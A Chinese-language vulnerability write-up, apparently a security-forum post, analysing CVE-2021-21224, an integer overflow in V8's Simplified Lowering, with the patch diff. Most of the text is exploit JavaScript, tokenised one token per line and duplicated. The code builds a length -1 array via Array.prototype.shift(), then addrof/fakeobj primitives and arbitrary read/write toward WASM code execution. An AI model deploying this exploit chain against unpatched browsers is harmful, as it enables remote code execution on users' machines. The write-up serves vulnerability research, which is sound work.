CVE-2021-21224/issue 1195777是tr0y4师傅在今年四月份提交的漏洞,此漏洞发生于Simplified Lowering
阶段的RepresentationChanger::GetWord32RepresentationFor
函数中,是一个平平无奇的整数溢出。但是和CVE-2020-15965、CVE-2020-16040、CVE-2021-21220相似的是,此漏洞同样可以通过Array.prototype.shift()
方法来构造一个长度为-1(0xFFFF_FFFF)
的数组,凭借这个强大的越界数组我们可以很轻松的实现RCE
。
根据commit
来回退版本:
回归测试里面给出的poc
有点长,我稍微精简了一下,不过效果是一样的:
运行结果:
Patch
位于RepresentationChanger::GetWord32RepresentationFor
函数,该函数根据输入结点的Representation
和feedback_type
来选择合适的方法将输入结点的输出截断为MachineRepresentation::kWord32
。Patch
的内容比较简单,当(output_rep == MachineRepresentation::kWord64)
和output_type.Is(Type::Unsigned32()
二者都成立的时候,增加了一项校验use_info.type_check() == TypeCheckKind::kNone
,只有当三者全部成立的时候才会更新op
的值,从而在当前结点和输入结点之间插入TruncateInt64ToInt32
结点来将输入结点的输出截断为MachineRepresentation::kWord32
。output_rep
为输入结点的Representation
,output_type
为输入结点的feedback_type
,use_info
则为当前结点后继节点的使用信息,use_info.type_check()
表示后继节点的数值类型,为TypeCheckKind::kNone
则为无符号,为TypeCheckKind::kSignedSmall
则为有符号。
在这里下断点看一下:
根据堆栈信息可知漏洞发生于Simplified lowering
的LOWER
阶段,此阶段将结点降级或者插入转换结点,加上--trace-representation
参数在相同的地方断下来。
此时正在处理#41
结点的输入结点#56
,根据我们对源码的分析,这两个结点之间会插入一个TruncateInt64ToInt32
结点,看一下Simplified lowering
阶段的IR
图:
因为#72
结点的存在,Math.max
函数的返回值会被截断为32
位;又因为后继结点的类型为有符号数TypeCheckKind::kSignedSmall
,所以如果截断后的返回值正好使用了符号位(诸如0xFFFF_FFFF
转换为二进制为1111 1111 1111 1111 1111 1111 1111 1111
,最高位为1),那么就会发生整数下溢(诸如Math.max(0, 0xFFFF_FFFF)
返回值为-1
)。
zer0con2021上讲解了Array.prototype.shift()
相关的Trick
,可以通过整数溢出来构造一个长度为-1(0xFFFF_FFFF)
的数组。但是我们必须满足两个条件:
此时的Range
如下:
返回值也已经变成了1
,现在已经符合Array.prototype.shift() Trick
的利用条件了,我们编写如下的poc
:
可以看到数组长度被修改成了-1(0xFFFFFFFE)
:
现在我们已经可以修改点什么东西了,在vuln_array
后面再放置一个Double
数组,接着修改他的length
:
vuln_array[16]
是调试算出来的偏移,正好是oob_array
的length
所在,现在我们获得了一个可以进行8
字节越界读写的浮点数组:
回忆一下oob_array
和vuln_array
的内存布局:
之前我们通过vuln_array[16]
修改了oob_array
的长度,除此之外,我们还可以通过oob_array
和vuln_array
来构造出addrof
和fakeobj
原语。首先构造addrof
:
vuln_array[7]
指向的地方正好是oob_array[0]
的低四字节,我们将obj
写入其中。之后通过oob_array[0]
将八字节长度的值读出来,高四字节全部置零之后就是obj
的值了。接着是fakeobj
:
和addrof
的原理是一样的,最终将oob_array[0]
中的值当作一个对象指针返回。
我们现在有了OOB
、addrof
、fakeobj
三个原语,足够实现更加强大的任意地址读写了。
oob_array[3]
保存的是oob_array
本身的map
和properties
,利用他们俩我们可以构造一个elements
和length
都完全由我们控制的数组,诸如point_array
的内存布局:
point_array[0]
中就是我们复制来的map
和properties
,如果用fakeobj
原语把point_array[0]
当作是一个对象来返回,那么point_array[1]
中的值就是elements
和length
,既然我们可以任意的改写point_array[1]
,也就意味着我们可以将任意length
长度的数据写到elements
指向的地方,具体实现如下:
完整代码如下,我们随便写一个地址测试一下原语是否可用:
在windbg
里面看一下,发现目标地址的值已经被成功修改了
这一步还是常规的WASM实现任意代码执行:
结果演示如下:
git reset
-
-
hard
720176a523544721973a8ceba89e9c7af9405963
gclient sync
-
D
python tools\dev\v8gen.py x64.debug
python tools\dev\gm.py x64.debug d8
python tools\dev\v8gen.py x64.release
python tools\dev\gm.py x64.release d8
git reset
-
-
hard
720176a523544721973a8ceba89e9c7af9405963
gclient sync
-
D
python tools\dev\v8gen.py x64.debug
python tools\dev\gm.py x64.debug d8
python tools\dev\v8gen.py x64.release
python tools\dev\gm.py x64.release d8
function foo(b) {
let x
=
-
1
;
if
(b) x
=
0xFFFF_FFFF
;
return
-
1
< Math.
max
(
0
, x);
}
console.log(foo(true));
%
PrepareFunctionForOptimization(foo);
console.log(foo(false));
%
OptimizeFunctionOnNextCall(foo);
%
SystemBreak();
console.log(foo(true));
function foo(b) {
let x
=
-
1
;
if
(b) x
=
0xFFFF_FFFF
;
return
-
1
< Math.
max
(
0
, x);
}
console.log(foo(true));
%
PrepareFunctionForOptimization(foo);
console.log(foo(false));
%
OptimizeFunctionOnNextCall(foo);
%
SystemBreak();
console.log(foo(true));
diff
-
-
git a
/
src
/
compiler
/
representation
-
change.cc b
/
src
/
compiler
/
representation
-
change.cc
index
64b274c
..
3d937ad
100644
-
-
-
a
/
src
/
compiler
/
representation
-
change.cc
+
+
+
b
/
src
/
compiler
/
representation
-
change.cc
@@
-
949
,
10
+
949
,
10
@@
return
node;
}
else
if
(output_rep
=
=
MachineRepresentation::kWord64) {
if
(output_type.Is(
Type
::Signed32()) ||
-
output_type.Is(
Type
::Unsigned32())) {
-
op
=
machine()
-
>TruncateInt64ToInt32();
-
}
else
if
(output_type.Is(cache_
-
>kSafeInteger) &&
-
use_info.truncation().IsUsedAsWord32()) {
+
(output_type.Is(
Type
::Unsigned32()) &&
+
use_info.type_check()
=
=
TypeCheckKind::kNone) ||
+
(output_type.Is(cache_
-
>kSafeInteger) &&
+
use_info.truncation().IsUsedAsWord32())) {
op
=
machine()
-
>TruncateInt64ToInt32();
}
else
if
(use_info.type_check()
=
=
TypeCheckKind::kSignedSmall ||
use_info.type_check()
=
=
TypeCheckKind::kSigned32 ||
diff
-
-
git a
/
src
/
compiler
/
representation
-
change.cc b
/
src
/
compiler
/
representation
-
change.cc
index
64b274c
..
3d937ad
100644
-
-
-
a
/
src
/
compiler
/
representation
-
change.cc
+
+
+
b
/
src
/
compiler
/
representation
-
change.cc
@@
-
949
,
10
+
949
,
10
@@
return
node;
}
else
if
(output_rep
=
=
MachineRepresentation::kWord64) {
if
(output_type.Is(
Type
::Signed32()) ||
-
output_type.Is(
Type
::Unsigned32())) {
-
op
=
machine()
-
>TruncateInt64ToInt32();
-
}
else
if
(output_type.Is(cache_
-
>kSafeInteger) &&
-
use_info.truncation().IsUsedAsWord32()) {
+
(output_type.Is(
Type
::Unsigned32()) &&
+
use_info.type_check()
=
=
TypeCheckKind::kNone) ||
+
(output_type.Is(cache_
-
>kSafeInteger) &&
+
use_info.truncation().IsUsedAsWord32())) {
op
=
machine()
-
>TruncateInt64ToInt32();
}
else
if
(use_info.type_check()
=
=
TypeCheckKind::kSignedSmall ||
use_info.type_check()
=
=
TypeCheckKind::kSigned32 ||
visit
change:
change:
function foo(flag) {
let x
=
-
1
;
if
(flag) x
=
0xFFFF_FFFF
;
let z
=
0
-
Math.
max
(
0
, x);
return
z;
}
console.log(foo(true));
%
PrepareFunctionForOptimization(foo);
console.log(foo(false));
%
OptimizeFunctionOnNextCall(foo);
/
/
%
SystemBreak();
console.log(foo(true));
function foo(flag) {
let x
=
-
1
;
if
(flag) x
=
0xFFFF_FFFF
;
let z
=
0
-
Math.
max
(
0
, x);
return
z;
}
console.log(foo(true));
%
PrepareFunctionForOptimization(foo);
console.log(foo(false));
%
OptimizeFunctionOnNextCall(foo);
/
/
%
SystemBreak();
console.log(foo(true));
function foo(flag) {
let x
=
-
1
;
if
(flag) x
=
0xFFFF_FFFF
;
let
len
=
0
-
Math.
max
(
0
, x);
let vuln_array
=
new Array(
len
);
vuln_array.shift();
%
DebugPrint(vuln_array);
%
SystemBreak();
return
vuln_array;
}
%
PrepareFunctionForOptimization(foo);
console.log(
"[+] run as builtin: "
+
"vuln_array.length == "
+
foo(false).length);
%
OptimizeFunctionOnNextCall(foo);
console.log(
"[+] run as builtin: "
+
"vuln_array.length == "
+
foo(true).length);
function foo(flag) {
let x
=
-
1
;
if
(flag) x
=
0xFFFF_FFFF
;
let
len
=
0
-
Math.
max
(
0
, x);
let vuln_array
=
new Array(
len
);
vuln_array.shift();
%
DebugPrint(vuln_array);
%
SystemBreak();
return
vuln_array;
}
%
PrepareFunctionForOptimization(foo);
console.log(
"[+] run as builtin: "
+
"vuln_array.length == "
+
foo(false).length);
%
OptimizeFunctionOnNextCall(foo);
console.log(
"[+] run as builtin: "
+
"vuln_array.length == "
+
foo(true).length);
function
hex
(a) {
return
a.toString(
16
);
}
function foo(flag) {
let x
=
-
1
;
if
(flag) x
=
0xFFFF_FFFF
;
let
len
=
0
-
Math.
max
(
0
, x);
let vuln_array
=
new Array(
len
);
vuln_array.shift();
let oob_array
=
[
1.1
,
1.2
,
1.3
];
/
/
if
(flag)
%
SystemBreak();
return
[vuln_array, oob_array];
}
function confusion_to_oob() {
console.log(
"[+] convert confusion to oob......"
);
/
/
触发JIT
for
(let i
=
0
; i<
0xc00c
; i
+
+
) {foo(false);}
/
/
[vuln_array, oob_array]
=
foo(true);
vuln_array[
16
]
=
0xc00c
;
console.log(
" oob_array.length: "
+
hex
(oob_array.length));
}
confusion_to_oob();
function
hex
(a) {
return
a.toString(
16
);
}
function foo(flag) {
let x
=
-
1
;
if
(flag) x
=
0xFFFF_FFFF
;
let
len
=
0
-
Math.
max
(
0
, x);
let vuln_array
=
new Array(
len
);
vuln_array.shift();
let oob_array
=
[
1.1
,
1.2
,
1.3
];
/
/
if
(flag)
%
SystemBreak();
return
[vuln_array, oob_array];
}
function confusion_to_oob() {
console.log(
"[+] convert confusion to oob......"
);
/
/
触发JIT
for
(let i
=
0
; i<
0xc00c
; i
+
+
) {foo(false);}
/
/
[vuln_array, oob_array]
=
foo(true);
vuln_array[
16
]
=
0xc00c
;
console.log(
" oob_array.length: "
+
hex
(oob_array.length));
}
confusion_to_oob();
function addrof(obj) {
vuln_array[
7
]
=
obj;
return
helper.f2i(oob_array[
0
]) &
0xFFFF_FFFFn
;
}
function addrof(obj) {
vuln_array[
7
]
=
obj;
return
helper.f2i(oob_array[
0
]) &
0xFFFF_FFFFn
;
}
function fakeobj(addr) {
oob_array[
0
]
=
helper.i2f(addr);
return
vuln_array[
7
];
}
function fakeobj(addr) {
oob_array[
0
]
=
helper.i2f(addr);
return
vuln_array[
7
];
}
function get_arw() {
console.log(
"[+] get absolute read/write access......"
);
let oob_array_map_and_properties
=
helper.f2i(oob_array[
3
]);
let point_array
=
[helper.i2f(oob_array_map_and_properties),
1.1
,
1.2
,
1.3
];
fake
=
fakeobj(addrof(point_array)
-
0x20n
);
%
DebugPrint(point_array);
%
SystemBreak();
}
function get_arw() {
console.log(
"[+] get absolute read/write access......"
);
let oob_array_map_and_properties
=
helper.f2i(oob_array[
3
]);
let point_array
=
[helper.i2f(oob_array_map_and_properties),
1.1
,
1.2
,
1.3
];
fake
=
fakeobj(addrof(point_array)
-
0x20n
);
%
DebugPrint(point_array);
%
SystemBreak();
}
function arb_read(addr) {
if
(addr
%
2n
=
=
0
) {
addr
+
=
1n
;
}
/
/
2n
<<
32n
是为了填充length字段,在指针压缩下length的值会被改为
0x1
;
/
/
-
8n
是因为elements字段指向的内容会自动
+
8
来跳过
map
和length
point_array[
1
]
=
helper.i2f((
2n
<<
32n
)
+
addr
-
8n
);
return
fake[
0
];
}
function arb_write(addr, val) {
if
(addr
%
2n
=
=
0
) {
addr
+
=
1n
;
}
/
/
2n
<<
32n
是为了填充length字段,在指针压缩下length的值会被改为
0x1
;
/
/
-
8n
是因为elements字段指向的内容会自动
+
8
来跳过
map
和length
point_array[
1
]
=
helper.i2f((
2n
<<
32n
)
+
addr
-
8n
);
fake[
0
]
=
helper.i2f(BigInt(val));
}
function arb_read(addr) {
if
(addr
%
2n
=
=
0
) {
addr
+
=
1n
;
}
/
/
2n
<<
32n
是为了填充length字段,在指针压缩下length的值会被改为
0x1
;
/
/
-
8n
是因为elements字段指向的内容会自动
+
8
来跳过
map
和length
point_array[
1
]
=
helper.i2f((
2n
<<
32n
)
+
addr
-
8n
);
return
fake[
0
];
}
function arb_write(addr, val) {
if
(addr
%
2n
=
=
0
) {
addr
+
=
1n
;
}
/
/
2n
<<
32n
是为了填充length字段,在指针压缩下length的值会被改为
0x1
;
/
/
-
8n
是因为elements字段指向的内容会自动
+
8
来跳过
map
和length
point_array[
1
]
=
helper.i2f((
2n
<<
32n
)
+
addr
-
8n
);
fake[
0
]
=
helper.i2f(BigInt(val));
}
/
/
用来实现类型转换
class
Helpers {
constructor() {
this.buf
=
new ArrayBuffer(
16
);
this.uint32
=
new Uint32Array(this.buf);
this.float64
=
new Float64Array(this.buf);
this.big_uint64
=
new BigUint64Array(this.buf);
}
/
/
float
-
-
>uint
f2i(f)
{
this.float64[
0
]
=
f;
return
this.big_uint64[
0
];
}
/
/
uint
-
-
>
float
i2f(i)
{
this.big_uint64[
0
]
=
i;
return
this.float64[
0
];
}
/
/
64
-
-
>
32
f2half(val)
{
this.float64[
0
]
=
val;
let tmp
=
Array.
from
(this.uint32);
return
tmp;
}
/
/
32
-
-
>
64
half2f(val)
{
this.uint32.
set
(val);
return
this.float64[
0
];
}
hex
(a) {
return
"0x"
+
a.toString(
16
);
}
gc() {
for
(let i
=
0
; i <
100
; i
+
+
) { new ArrayBuffer(
0x1000000
); } }
}
function foo(flag) {
/
/
触发漏洞,使得
len
=
=
1
且
Range
为(
-
4294967295
,
0
)
let x
=
-
1
;
if
(flag) x
=
0xFFFF_FFFF
;
let
len
=
0
-
Math.
max
(
0
, x);
/
/
利用array.shift()来构造出长度为
-
1
(
0xFFFFFFFE
)的数组
let vuln_array
=
new Array(
len
);
vuln_array.shift();
let oob_array
=
[
1.1
,
1.2
,
1.3
];
if
(flag) {
%
DebugPrint(oob_array);
/
/
%
SystemBreak();
}
return
[vuln_array, oob_array];
}
function confusion_to_oob() {
console.log(
"[+] convert confusion to oob......"
);
/
/
触发JIT
for
(let i
=
0
; i<
0x10000
; i
+
+
) {foo(false);}
/
/
gc
helper.gc();
/
/
修改oob_array的length
[vuln_array, oob_array]
=
foo(true);
vuln_array[
16
]
=
0xc00c
;
console.log(
" oob_array.length: "
+
helper.
hex
(oob_array.length));
}
function addrof(obj) {
vuln_array[
7
]
=
obj;
return
helper.f2i(oob_array[
0
]) &
0xFFFF_FFFFn
;
}
function fakeobj(addr) {
oob_array[
0
]
=
helper.i2f(addr);
return
vuln_array[
7
];
}
function get_arw() {
console.log(
"[+] get absolute read/write access......"
);
let oob_array_map_and_properties
=
helper.f2i(oob_array[
3
]);
point_array
=
[helper.i2f(oob_array_map_and_properties),
1.1
,
1.2
,
1.3
];
fake
=
fakeobj(addrof(point_array)
-
0x20n
);
}
function arb_read(addr) {
if
(addr
%
2n
=
=
0
) {
addr
+
=
1n
;
}
/
/
2n
<<
32n
是为了填充length字段,在指针压缩下length的值会被改为
0x1
;
/
/
-
8n
是因为elements字段指向的内容会自动
+
8
来跳过
map
和length
point_array[
1
]
=
helper.i2f((
2n
<<
32n
)
+
addr
-
8n
);
return
fake[
0
];
}
function arb_write(addr, val) {
if
(addr
%
2n
=
=
0
) {
addr
+
=
1n
;
}
/
/
2n
<<
32n
是为了填充length字段,在指针压缩下length的值会被改为
0x1
;
/
/
-
8n
是因为elements字段指向的内容会自动
+
8
来跳过
map
和length
point_array[
1
]
=
helper.i2f((
2n
<<
32n
)
+
addr
-
8n
);
fake[
0
]
=
helper.i2f(BigInt(val));
}
function exp() {
helper
=
new Helpers();
confusion_to_oob();
get_arw();
arb_write(addrof(oob_array),
0xFFFFFFFFFFFFFFFn
);
%
SystemBreak();
}
exp();
/
/
用来实现类型转换
class
Helpers {
constructor() {
this.buf
=
new ArrayBuffer(
16
);
this.uint32
=
new Uint32Array(this.buf);
this.float64
=
new Float64Array(this.buf);
this.big_uint64
=
new BigUint64Array(this.buf);
}
/
/
float
-
-
>uint
f2i(f)
{
this.float64[
0
]
=
f;
return
this.big_uint64[
0
];
}
/
/
uint
-
-
>
float
i2f(i)
{
this.big_uint64[
0
]
=
i;
return
this.float64[
0
];
}
/
/
64
-
-
>
32
f2half(val)
{
this.float64[
0
]
=
val;
let tmp
=
Array.
from
(this.uint32);
return
tmp;
}
/
/
32
-
-
>
64
half2f(val)
{
this.uint32.
set
(val);
return
this.float64[
0
];
}
hex
(a) {
return
"0x"
+
a.toString(
16
);
}
gc() {
for
(let i
=
0
; i <
100
; i
+
+
) { new ArrayBuffer(
0x1000000
); } }
}
function foo(flag) {
/
/
触发漏洞,使得
len
=
=
1
且
Range
为(
-
4294967295
,
0
)
let x
=
-
1
;
if
(flag) x
=
0xFFFF_FFFF
;
let
len
=
0
-
Math.
max
(
0
, x);
/
/
利用array.shift()来构造出长度为
-
1
(
0xFFFFFFFE
)的数组
let vuln_array
=
new Array(
len
);
vuln_array.shift();
let oob_array
=
[
1.1
,
1.2
,
1.3
];
if
(flag) {
%
DebugPrint(oob_array);
/
/
%
SystemBreak();
}
return
[vuln_array, oob_array];
}
function confusion_to_oob() {
console.log(
"[+] convert confusion to oob......"
);
/
/
触发JIT
for
(let i
=
0
; i<
0x10000
; i
+
+
) {foo(false);}
/
/
gc
helper.gc();
/
/
修改oob_array的length
[vuln_array, oob_array]
=
foo(true);
vuln_array[
16
]
=
0xc00c
;
console.log(
" oob_array.length: "
+
helper.
hex
(oob_array.length));
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2021-8-5 14:30
被0x2l编辑
,原因: